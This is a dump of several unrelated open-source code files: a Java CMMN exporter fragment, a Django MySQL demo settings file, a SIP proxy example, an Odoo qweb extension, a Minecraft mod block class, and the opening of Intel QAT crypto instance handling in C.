}
@Override
protected String getPlanItemDefinitionXmlElementValue(DecisionTask decisionTask) {
return ELEMENT_DECISION_TASK;
}
@Override
protected void writePlanItemDefinitionSpecificAttributes(DecisionTask decisionTask, XMLStreamWriter xtw) throws Exception {
super.writePlanItemDefinitionSpecificAttributes(decisionTask, xtw);
TaskExport.writeCommonTaskAttributes(decisionTask, xtw);
}
@Override
protected boolean writePlanItemDefinitionExtensionElements(CmmnModel model, DecisionTask decisionTask, boolean didWriteExtensionElement, XMLStreamWriter xtw) throws Exception {
boolean extensionElementWritten = super.writePlanItemDefinitionExtensionElements(model, decisionTask, didWriteExtensionElement, xtw);
return TaskExport.writeTaskFieldExtensions(decisionTask, extensionElementWritten, xtw);
}
@Override
protected void writePlanItemDefinitionBody(CmmnModel model, DecisionTask decisionTask, XMLStreamWriter xtw) throws Exception {
super.writePlanItemDefinitionBody(model, decisionTask, xtw);
if (StringUtils.isNotEmpty(decisionTask.getDecisionRef()) || StringUtils.isNotEmpty(decisionTask.getDecisionRefExpression())) {
xtw.writeStartElement(ELEMENT_DECISION_REF_EXPRESSION);
xtw.writeCData(
StringUtils.isNotEmpty(decisionTask.getDecisionRef()) ?
decisionTask.getDecisionRef() :
decisionTask.getDecisionRefExpression()
);
xtw.writeEndElement();
}
}
}
|
lotapp/BaseCode | python/8.web/2.Django/mysql_demo/mysql_demo/settings.py | <reponame>lotapp/BaseCode
"""
Django settings for mysql_demo project.
Generated by 'django-admin startproject' using Django 2.2.
For more information on this file, see
https://docs.djangoproject.com/zh-hans/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/zh-hans/2.2/ref/settings
"""
import os
# Base_dir:当前项目的绝对路径
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/zh-hans/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '<KEY>
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
"userapp",
]
# 中间件:https://docs.djangoproject.com/zh-hans/2.2/topics/http/middleware/
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysql_demo.urls'
# https://docs.djangoproject.com/zh-hans/2.2/ref/settings/#templates
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')], # 模版文件的绝对路径
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysql_demo.wsgi.application'
# Database
# https://docs.djangoproject.com/zh-hans/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'django', # 使用哪个数据库
'USER': 'root', # mysql的用户名
'PASSWORD': '<PASSWORD>', # 用户名对应的密码
'HOST': '127.0.0.1', # 数据库服务的ip地址
'PORT': 3306, # 对应的端口
# https://docs.djangoproject.com/en/2.2/ref/settings/#std:setting-OPTIONS
'OPTIONS': {
# https://docs.djangoproject.com/en/2.2/ref/settings/#autocommit
# 'AUTOCOMMIT': False,
# https://docs.djangoproject.com/zh-hans/2.2/ref/databases/#setting-sql-mode
# SQLMode可以看我之前写的文章:https://www.cnblogs.com/dotnetcrazy/p/10374091.html
'init_command': "SET sql_mode='STRICT_TRANS_TABLES'", # 设置SQL_Model
},
}
}
# Password validation
# https://docs.djangoproject.com/zh-hans/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/zh-hans/2.2/topics/i18n/
# 使用中文(zh-hans可以这么记==>zh-汉'字')
LANGUAGE_CODE = 'zh-hans'
# 设置中国时间
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/zh-hans/2.2/howto/static-files/
STATIC_URL = '/static/'
|
rayonde/yarn | examplesFromForkedLibraries/SchusterLabQoc1/quantum_optimal_control/core/__init__.py | <filename>examplesFromForkedLibraries/SchusterLabQoc1/quantum_optimal_control/core/__init__.py
#IMPORTS
from .analysis import *
from .convergence import *
from .regularization_functions import *
from .system_parameters import *
from .tensorflow_state import *
from .run_session import * |
intellibitz/IntelliDroid | app/src/main/java/intellibitz/intellidroid/listener/DeviceContactTopicListener.java | <filename>app/src/main/java/intellibitz/intellidroid/listener/DeviceContactTopicListener.java
package intellibitz.intellidroid.listener;
import intellibitz.intellidroid.data.ContactItem;
import intellibitz.intellidroid.data.ContactItem;
/**
*/
public interface DeviceContactTopicListener extends
ContactListener {
void onDeviceContactTopicClicked(ContactItem item, ContactItem user);
void onDeviceContactTopicsLoaded(int count);
}
|
jonbo372/sipstack | sipstack-example-proxy/src/main/java/io/sipstack/example/proxy/simple005/Proxy.java | <reponame>jonbo372/sipstack
package io.sipstack.example.proxy.simple005;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.module.SimpleModule;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
import io.netty.channel.ChannelHandler.Sharable;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;
import io.pkts.buffer.Buffers;
import io.pkts.packet.sip.SipMessage;
import io.pkts.packet.sip.SipRequest;
import io.pkts.packet.sip.SipResponse;
import io.pkts.packet.sip.Transport;
import io.pkts.packet.sip.address.SipURI;
import io.pkts.packet.sip.header.RouteHeader;
import io.pkts.packet.sip.header.ViaHeader;
import io.sipstack.actor.HashWheelScheduler;
import io.sipstack.actor.InternalScheduler;
import io.sipstack.config.NetworkInterfaceConfiguration;
import io.sipstack.config.NetworkInterfaceDeserializer;
import io.sipstack.config.TransportLayerConfiguration;
import io.sipstack.net.NetworkLayer;
import io.sipstack.net.netty.NettyNetworkLayer;
import io.sipstack.netty.codec.sip.*;
import io.sipstack.netty.codec.sip.event.ConnectionIOEvent;
import io.sipstack.netty.codec.sip.event.IOEvent;
import io.sipstack.netty.codec.sip.event.SipMessageIOEvent;
import io.sipstack.transport.Flow;
import io.sipstack.transport.FlowFuture;
import io.sipstack.transport.TransportLayer;
import io.sipstack.transport.event.FlowEvent;
import io.sipstack.transport.impl.DefaultTransportLayer;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.InetSocketAddress;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ConcurrentHashMap;
import java.util.function.Consumer;
/**
* in Proxy 004 we utilized the Network Layer to aid us in setting up
* the netty network layer and also to help us create new connections.
* However, we still had to maintain those connections ourselves and
* we even didn't solve the issue of when to kill those UDP Connections.
*
* In this example we add the Transport Layer, which is a very important
* part of any network stack. It's primary purpose is to do connection
* management.
*
* @author <EMAIL>
*/
@Sharable
public class Proxy extends SimpleChannelInboundHandler<FlowEvent> {
private final SimpleProxyConfiguration config;
private TransportLayer transport;
public Proxy(final SimpleProxyConfiguration config) {
this.config = config;
System.out.println("Starting " + config.getName());
}
public void setTransportLayer(final TransportLayer transport) {
this.transport = transport;
}
@Override
protected void channelRead0(final ChannelHandlerContext ctx, final FlowEvent event) throws Exception {
final Flow flow = event.flow();
if (event.isSipFlowEvent()) {
final SipMessage msg = event.toSipFlowEvent().message();
if (msg.isRequest()) {
final SipURI next = getNextHop(msg.toRequest());
proxyTo(next, flow, msg.toRequest());
} else {
// Responses follow via headers to just pop the top-most via header
// and then use the information found in the second via.
// Of course, in a real stack we should check that the top-most via
// actually pointed to us but this is a simple example so we'll continue
// to live in happy land...
final ConnectionId connectionId = ConnectionId.decode(msg.getViaHeader().getParameter("flow"));
final Consumer<Flow> onSuccess = f -> {
final SipResponse response = msg.toResponse().copy().withPoppedVia().build();
f.send(response);
};
connect(connectionId, onSuccess);
}
}
}
/**
* The difference between Proxy example 001 and 002 is that we
* now will also pay attention to the protocol for the "proxied leg".
* Previously we just assumed UDP but we will now actually look
* at the target and and check the protocol we should be using.
*
* @param destination
* @param connection the connection over which we received the sip message.
* We need this connection to stamp the correct information
* in the Via-header that came in across
* @param msg
*/
private void proxyTo(final SipURI destination, final Flow flow, final SipRequest msg) {
// Create a new Via-header that points back to us
final Transport transport = destination.getTransportParam().orElse(Transport.udp);
// Create the proxy request, where we will add our Via-header
// as well as decrement the Max-Forwards header.
final String remoteHost = destination.getHost().toString();
final int remotePort = destination.getPort();
final InetSocketAddress remoteAddress = new InetSocketAddress(remoteHost, remotePort);
final ConnectionEndpointId id = ConnectionEndpointId.create(transport, remoteAddress);
final Consumer<Flow> onSuccess = f -> {
final String localAddress = f.getLocalIpAddress();
final int localPort = f.getLocalPort();
final ViaHeader via = ViaHeader.withHost(localAddress)
.withPort(localPort)
.withTransport(f.getTransport())
.withBranch()
.withRPortFlag()
// As with a connection, we want to use the same flow coming back again
.withParameter(Buffers.wrap("flow"), flow.id().encode())
.build();
final SipMessage proxyMsg = msg.copy()
.withTopMostViaHeader(via)
.onViaHeader((index, v) -> {
if (index == 1) {
// Add the received and rport information to the
// previous top-most Via, which is now our second
// Via on the list and since we start counting at
// zero, the index for the second via is 1...
v.withReceived(flow.getRemoteIpAddressAsBuffer()).withRPort(flow.getRemotePort());
}
})
.onMaxForwardsHeader(max -> max.decrement())
.build();
f.send(proxyMsg);
};
connect(id, onSuccess);
}
public CompletableFuture<Flow> connect(final ConnectionEndpointId id, final Consumer<Flow> consumer) {
final Consumer<Flow> onCancelled = f -> System.err.println("Flow was cancelled: " + f);
final Consumer<Flow> onFailure = f -> System.err.println("Flow failed: " + f.getFailureCause());
return transport.createFlow(id.getIpAddress())
.withPort(id.getPort())
.withTransport(id.getProtocol())
.onSuccess(consumer)
.onFailure(onFailure)
.onCancelled(onCancelled)
.connect();
}
/**
* Get a connection based on the {@link ConnectionId}.
*
* @param id
* @param consumer
* @return
*/
public CompletableFuture<Flow> connect(final ConnectionId id, final Consumer<Flow> consumer) {
return connect(id.getRemoteConnectionEndpointId(), consumer);
}
/**
* Calculate the next hop. In SIP, you can specify the path through the network you wish the
* message to go and this is expressed through Route-headers and the request-uri.
*
* Essentially, you check if there are {@link RouteHeader}s present, and if so, the top-most
* {@link RouteHeader} is where you will proxy this message to and otherwise you will use the
* request-uri as your target.
*
* Of course, you also need to check whether perhaps you are the ultimate target but we will
* ignore this for now. This is a simple proxy and if you send us bad traffic, bad things will
* happen :-)
*
* @param request
* @return
*/
private SipURI getNextHop(final SipRequest request) {
// normally you also need to check whether this route is
// pointing to you and it it is you have to "consume" it
// and look at the next one. As it stands now, if this
// route is pointing to us and we will use it as the next
// hop we will of course create a loop. For now, we will
// ignore this.
final RouteHeader route = request.getRouteHeader();
if (route != null) {
return route.getAddress().getURI().toSipURI();
}
return request.getRequestUri().toSipURI();
}
@Override
public void userEventTriggered(final ChannelHandlerContext ctx, final Object evt) throws Exception {
try {
final IOEvent event = (IOEvent) evt;
if (event.isConnectionIOEvent()) {
processConnectionEvent(event.toConnectionIOEvent());
}
} catch (final ClassCastException e) {
// guess this is not an IOEvent, which is the only thing we handle
// so just forward it...
ctx.fireUserEventTriggered(evt);
}
}
/**
* Whenever we get a new connection we will add that to our internal storage
* of known connections. Whenever we get a disconnect, we will remove it.
* Note: for UDP "connections", this simple example will actually leak
* connections because there is no mechanism that keeps track of if a UDP
* "connection" should be killed. As we will see in other examples, this
* is going to be handled by the transport layer in the "full" example.
*
* @param event
*/
private void processConnectionEvent(final ConnectionIOEvent event) {
System.err.println("Proxy005: received a connection event " + event);
/*
final Connection connection = event.connection();
if (event.isConnectionInactiveIOEvent()) {
flows.remove(connection.id().getRemoteConnectionEndpointId());
} else if (event.isConnectionActiveIOEvent()) {
flows.put(connection.id().getRemoteConnectionEndpointId(), connection);
}
*/
}
/**
* Very basic helper method for loading a yaml file and with the help of jackson, de-serialize it
* to a configuration object.
*
* @param file
* @return
* @throws Exception
*/
public static SimpleProxyConfiguration loadConfiguration(final String file) throws Exception {
final InputStream stream = new FileInputStream(file);
final ObjectMapper mapper = new ObjectMapper(new YAMLFactory());
final SimpleModule module = new SimpleModule();
module.addDeserializer(NetworkInterfaceConfiguration.class, new NetworkInterfaceDeserializer());
mapper.registerModule(module);
return mapper.readValue(stream, SimpleProxyConfiguration.class);
}
public static void main(final String ... args) throws Exception {
// just to keep things simple. Normally you want to use a CLI framework
if (args.length == 0) {
throw new IllegalArgumentException("You must specify the configuration file to load");
}
// We now extended our SimpleProxyConfiguration class with
// the ability to also specify the network listening points, which
// then we can use to configure the entire Netty stack.
final SimpleProxyConfiguration config = loadConfiguration(args[0]);
final Proxy proxy = new Proxy(config);
final NettyNetworkLayer.Builder builder = NettyNetworkLayer.with(config.getNetworkInterfaces());
// Transport layer is responsible for managing connections,
// i.e. Flows.
final TransportLayerConfiguration transportConfig = config.getTransportLayerConfiguration();
final Clock clock = new SystemClock();
final InternalScheduler scheduler = new HashWheelScheduler();
final DefaultTransportLayer transportLayer = new DefaultTransportLayer(transportConfig, clock, scheduler);
builder.withHandler("transport-layer", transportLayer);
// Add our own proxy last, which is very important. It cannot come
// before the above transport-layer.
builder.withHandler("proxy", proxy);
final NetworkLayer network = builder.build();
transportLayer.useNetworkLayer(network);
proxy.setTransportLayer(transportLayer);
// bring all the configured listening points up...
network.start();
// wait until all listening points shuts down.
network.sync();
}
}
|
davejrv/import | odooku_addons/websocket/models/ir_qweb.py | from odoo import models, api
from odooku.params import params
def get_ws_enabled():
return 'true' if getattr(params, 'WS_ENABLED', False) else 'false';
class IrQWeb(models.AbstractModel):
_inherit = 'ir.qweb'
def default_values(self):
default = super(IrQWeb, self).default_values()
default.update(get_ws_enabled=get_ws_enabled)
return default
|
Platymemo/NVSE-Repo-Dev | src/main/java/com/novaventure/survivalessentials/registry/Blocks/Plants/Decorative/Nether/ShelfFungiBase.java | package com.novaventure.survivalessentials.registry.Blocks.Plants.Decorative.Nether;
import net.minecraft.block.*;
import net.minecraft.item.ItemPlacementContext;
import net.minecraft.server.world.ServerWorld;
import net.minecraft.state.StateManager;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.shape.VoxelShape;
import net.minecraft.util.shape.VoxelShapes;
import net.minecraft.world.BlockView;
import org.jetbrains.annotations.Nullable;
import java.util.Iterator;
import java.util.Random;
public class ShelfFungiBase extends FacingBlock {
protected static final VoxelShape EAST_SHAPE;
protected static final VoxelShape WEST_SHAPE;
protected static final VoxelShape SOUTH_SHAPE;
protected static final VoxelShape NORTH_SHAPE;
protected static final VoxelShape UP_SHAPE;
protected static final VoxelShape DOWN_SHAPE;
public ShelfFungiBase(Settings settings) {
super(settings);
}
public VoxelShape getOutlineShape(BlockState state, BlockView world, BlockPos pos, ShapeContext context) {
switch (state.get(FACING)) {
case NORTH:
return NORTH_SHAPE;
case SOUTH:
return SOUTH_SHAPE;
case WEST:
return WEST_SHAPE;
case EAST:
return EAST_SHAPE;
case UP:
return UP_SHAPE;
case DOWN:
default:
return DOWN_SHAPE;
}
}
public void randomTick(BlockState state, ServerWorld world, BlockPos pos, Random random) {
if (random.nextInt(25) == 0) {
int i = 5;
boolean j = true;
Iterator var7 = BlockPos.iterate(pos.add(-4, -1, -4), pos.add(4, 1, 4)).iterator();
while (var7.hasNext()) {
BlockPos blockPos = (BlockPos) var7.next();
if (world.getBlockState(blockPos).isOf(this)) {
--i;
if (i <= 0) {
return;
}
}
}
BlockPos blockPos2 = pos.add(random.nextInt(3) - 1, random.nextInt(2) - random.nextInt(2), random.nextInt(3) - 1);
for (int k = 0; k < 4; ++k) {
if (world.isAir(blockPos2) && state.canPlaceAt(world, blockPos2)) {
pos = blockPos2;
}
blockPos2 = pos.add(random.nextInt(3) - 1, random.nextInt(2) - random.nextInt(2), random.nextInt(3) - 1);
}
if (world.isAir(blockPos2) && state.canPlaceAt(world, blockPos2)) {
world.setBlockState(blockPos2, state, 2);
}
}
}
protected boolean canPlantOnTop(BlockState floor, BlockView world, BlockPos pos) {
Block block = floor.getBlock();
return block == Blocks.MAGMA_BLOCK ||
block == Blocks.WARPED_NYLIUM ||
block == Blocks.NETHERRACK ||
block == Blocks.CRIMSON_NYLIUM;
}
public static final VoxelShape BlockCollisionShape;
public VoxelShape getCollisionShape(BlockState state, BlockView view, BlockPos pos, ShapeContext context) {
return BlockCollisionShape;
}
protected void appendProperties(StateManager.Builder<Block, BlockState> builder) {
builder.add(FACING);
}
@Nullable
public BlockState getPlacementState(ItemPlacementContext ctx) {
return super.getPlacementState(ctx).with(FACING, ctx.getPlayerLookDirection().getOpposite());
}
static {
BlockCollisionShape = VoxelShapes.empty();
UP_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
DOWN_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
EAST_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
WEST_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
NORTH_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
SOUTH_SHAPE = Block.createCuboidShape(0.0D, 4.0D, 0.0D, 16.0D, 12.0D, 16.0D);
}
}
|
formgeist/eui | docs/src/views/partials.js | <filename>docs/src/views/partials.js
export { default as KibanaChrome } from './kibana/kibana_chrome';
export { default as KibanaHeader } from './header/header';
export { default as TablePagination } from './pagination/customizable_pagination';
export { default as ManagementSideNav } from './side_nav/side_nav_complicated';
export { default as Table } from './table/table';
export {
default as ToastList,
addToast,
removeAllToasts,
} from './toast/toast_list';
|
fionatrahe/qatlib | quickassist/lookaside/access_layer/src/common/ctrl/sal_crypto.c | /*****************************************************************************
*
* This file is provided under a dual BSD/GPLv2 license. When using or
* redistributing this file, you may do so under either license.
*
* GPL LICENSE SUMMARY
*
* Copyright(c) 2007-2021 Intel Corporation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.
* The full GNU General Public License is included in this distribution
* in the file called LICENSE.GPL.
*
* Contact Information:
* Intel Corporation
*
* BSD LICENSE
*
* Copyright(c) 2007-2021 Intel Corporation. All rights reserved.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*
*
*****************************************************************************/
/**
***************************************************************************
* @file sal_crypto.c Instance handling functions for crypto
*
* @ingroup SalCtrl
*
***************************************************************************/
/*
*******************************************************************************
* Include public/global header files
*******************************************************************************
*/
/* QAT-API includes */
#include "cpa.h"
#include "cpa_types.h"
#include "cpa_cy_common.h"
#include "cpa_cy_im.h"
#include "cpa_cy_drbg.h"
#include "cpa_cy_ln.h"
#include "cpa_cy_dh.h"
#include "cpa_cy_dsa.h"
#include "cpa_cy_rsa.h"
#include "cpa_cy_ec.h"
#include "cpa_cy_ecdh.h"
#include "cpa_cy_ecdsa.h"
#include "cpa_cy_prime.h"
#include "cpa_cy_key.h"
#include "cpa_cy_sym.h"
/* Osal includes */
#include "Osal.h"
/* ADF includes */
#include "icp_adf_init.h"
#include "icp_adf_transport.h"
#include "icp_accel_devices.h"
#include "icp_adf_cfg.h"
#include "icp_adf_accel_mgr.h"
#include "icp_adf_poll.h"
#include "icp_adf_debug.h"
/* SAL includes */
#include "lac_log.h"
#include "lac_mem.h"
#include "lac_mem_pools.h"
#include "lac_sw_responses.h"
#include "sal_statistics.h"
#include "lac_common.h"
#include "lac_list.h"
#include "lac_hooks.h"
#include "lac_sym_qat_hash_defs_lookup.h"
#include "lac_sym.h"
#include "lac_sym_key.h"
#include "lac_sym_hash.h"
#include "lac_sym_cb.h"
#include "lac_sym_stats.h"
#include "lac_pke_utils.h"
#include "lac_pke_qat_comms.h"
#include "lac_ec.h"
#ifdef KPT
#include "lac_kpt_crypto_qat_comms.h"
#include "lac_kpt_ksp_qat_comms.h"
#endif
#include "lac_sal_types_crypto.h"
#include "lac_sal.h"
#include "lac_sal_ctrl.h"
#include "sal_string_parse.h"
#include "sal_service_state.h"
#include "icp_sal_poll.h"
#include "lac_sync.h"
#include "lac_sym_qat.h"
#include "icp_sal_versions.h"
#define MAX_CY_RX_RINGS 2
#define TH_CY_RX_0 0
#define TH_CY_RX_1 1
#define DOUBLE_INCR 2
#define NUM_CRYPTO_SYM_RX_RINGS 1
#define NUM_CRYPTO_ASYM_RX_RINGS 1
#ifdef KERNEL_SPACE
#define ASYM_NOT_SUPPORTED
#endif
STATIC CpaInstanceHandle Lac_CryptoGetFirstHandle(void)
{
CpaInstanceHandle instHandle;
instHandle = Lac_GetFirstHandle(SAL_SERVICE_TYPE_CRYPTO);
if (!instHandle)
{
instHandle = Lac_GetFirstHandle(SAL_SERVICE_TYPE_CRYPTO_SYM);
if (!instHandle)
{
instHandle = Lac_GetFirstHandle(SAL_SERVICE_TYPE_CRYPTO_ASYM);
}
}
return instHandle;
}
STATIC
CpaStatus SalCtrl_AsymGetFileDescriptor(sal_crypto_service_t *crypto_handle,
int *fd)
{
int ret = 0;
int fd_asym = -1;
if (NULL == crypto_handle->trans_handle_asym_rx)
{
return CPA_STATUS_FAIL;
}
ret = icp_adf_transGetFdForHandle(crypto_handle->trans_handle_asym_rx,
&fd_asym);
if (ret != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("Error getting file descriptor for asym instance");
return CPA_STATUS_FAIL;
}
*fd = fd_asym;
return CPA_STATUS_SUCCESS;
}
STATIC
CpaStatus SalCtrl_SymGetFileDescriptor(sal_crypto_service_t *crypto_handle,
int *fd)
{
int ret = 0;
int fd_sym = -1;
if (NULL == crypto_handle->trans_handle_sym_rx)
{
return CPA_STATUS_FAIL;
}
ret = icp_adf_transGetFdForHandle(crypto_handle->trans_handle_sym_rx,
&fd_sym);
if (ret != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("Error getting file descriptor for sym instance");
return CPA_STATUS_FAIL;
}
*fd = fd_sym;
return CPA_STATUS_SUCCESS;
}
STATIC
CpaStatus SalCtrl_CyGetFileDescriptor(sal_crypto_service_t *crypto_handle,
int *fd)
{
CpaStatus ret_sym = CPA_STATUS_SUCCESS;
CpaStatus ret_asym = CPA_STATUS_SUCCESS;
int fd_sym = -1;
int fd_asym = -1;
ret_sym = SalCtrl_SymGetFileDescriptor(crypto_handle, &fd_sym);
ret_asym = SalCtrl_AsymGetFileDescriptor(crypto_handle, &fd_asym);
if (ret_sym != CPA_STATUS_SUCCESS || ret_asym != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("Error getting file descriptor for crypto instance");
return CPA_STATUS_FAIL;
}
/* They should always be the same. Otherwise, return error */
if (fd_sym != fd_asym)
{
LAC_LOG_ERROR("Symmetric and asymmetric crypto cannot be used"
" within the same instance across different bundles");
return CPA_STATUS_FAIL;
}
*fd = fd_sym;
return CPA_STATUS_SUCCESS;
}
#ifndef ASYM_NOT_SUPPORTED
STATIC void SalCtrl_AsymMemPoolDisable(sal_crypto_service_t *pCryptoService)
{
Lac_MemPoolDisable(pCryptoService->lac_pke_req_pool);
}
#endif
STATIC void SalCtrl_SymMemPoolDisable(sal_crypto_service_t *pCryptoService)
{
Lac_MemPoolDisable(pCryptoService->lac_sym_cookie_pool);
}
STATIC void SalCtrl_CyMemPoolDisable(sal_service_t *service)
{
sal_service_type_t svc_type = service->type;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
SalCtrl_AsymMemPoolDisable(pCryptoService);
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
SalCtrl_SymMemPoolDisable(pCryptoService);
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
SalCtrl_AsymMemPoolDisable(pCryptoService);
#endif
SalCtrl_SymMemPoolDisable(pCryptoService);
break;
default:
break;
}
return;
}
STATIC void SalCtrl_CyUpdatePoolsBusy(sal_service_t *service)
{
sal_service_type_t svc_type = service->type;
CpaBoolean isInstanceStarted = service->isInstanceStarted;
#ifndef ASYM_NOT_SUPPORTED
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
#endif
if (CPA_TRUE == isInstanceStarted)
{
switch (svc_type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
LacSwResp_IncNumPoolsBusy(pCryptoService->lac_pke_req_pool);
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
LacSwResp_IncNumPoolsBusy(pCryptoService->lac_pke_req_pool);
#endif
break;
default:
break;
}
}
return;
}
/* Generates dummy responses when the device is in error state */
STATIC
CpaStatus SalCtrl_CyGenResponses(sal_crypto_service_t *crypto_handle,
sal_service_t *gen_handle)
{
CpaStatus status = CPA_STATUS_RETRY;
switch (gen_handle->type)
{
#ifndef ASYM_NOT_SUPPORTED
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
status =
LacSwResp_Asym_CallbackWake(crypto_handle->lac_pke_req_pool);
if ((CPA_STATUS_SUCCESS != status) && (CPA_STATUS_RETRY != status))
{
LAC_LOG_ERROR1(
"Failed to perform asym callbacks with status %d\n",
status);
}
break;
#endif
case SAL_SERVICE_TYPE_CRYPTO_SYM:
break;
case SAL_SERVICE_TYPE_CRYPTO:
#ifndef ASYM_NOT_SUPPORTED
status =
LacSwResp_Asym_CallbackWake(crypto_handle->lac_pke_req_pool);
if ((CPA_STATUS_SUCCESS != status) && (CPA_STATUS_RETRY != status))
{
LAC_LOG_ERROR1(
"Failed to perform asym callbacks with status %d\n",
status);
}
#endif
break;
default:
break;
}
if ((CPA_STATUS_SUCCESS != status) && (CPA_STATUS_RETRY != status))
{
LAC_LOG_ERROR1("Failed to perform cy callbacks with status %d\n",
status);
}
return status;
}
STATIC CpaStatus SalCtrl_CyCheckRespInstance(sal_service_t *service)
{
sal_crypto_service_t *crypto_handle = (sal_crypto_service_t *)service;
icp_comms_trans_handle trans_hndTable[MAX_CY_RX_RINGS];
Cpa32U num_rx_rings = 0;
switch (service->type)
{
case SAL_SERVICE_TYPE_CRYPTO_ASYM:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_asym_rx;
num_rx_rings = 1;
break;
case SAL_SERVICE_TYPE_CRYPTO_SYM:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_sym_rx;
num_rx_rings = 1;
break;
case SAL_SERVICE_TYPE_CRYPTO:
trans_hndTable[TH_CY_RX_0] = crypto_handle->trans_handle_sym_rx;
trans_hndTable[TH_CY_RX_1] = crypto_handle->trans_handle_asym_rx;
num_rx_rings = MAX_CY_RX_RINGS;
break;
default:
break;
}
return icp_adf_check_RespInstance(trans_hndTable, num_rx_rings);
}
#ifndef ASYM_NOT_SUPPORTED
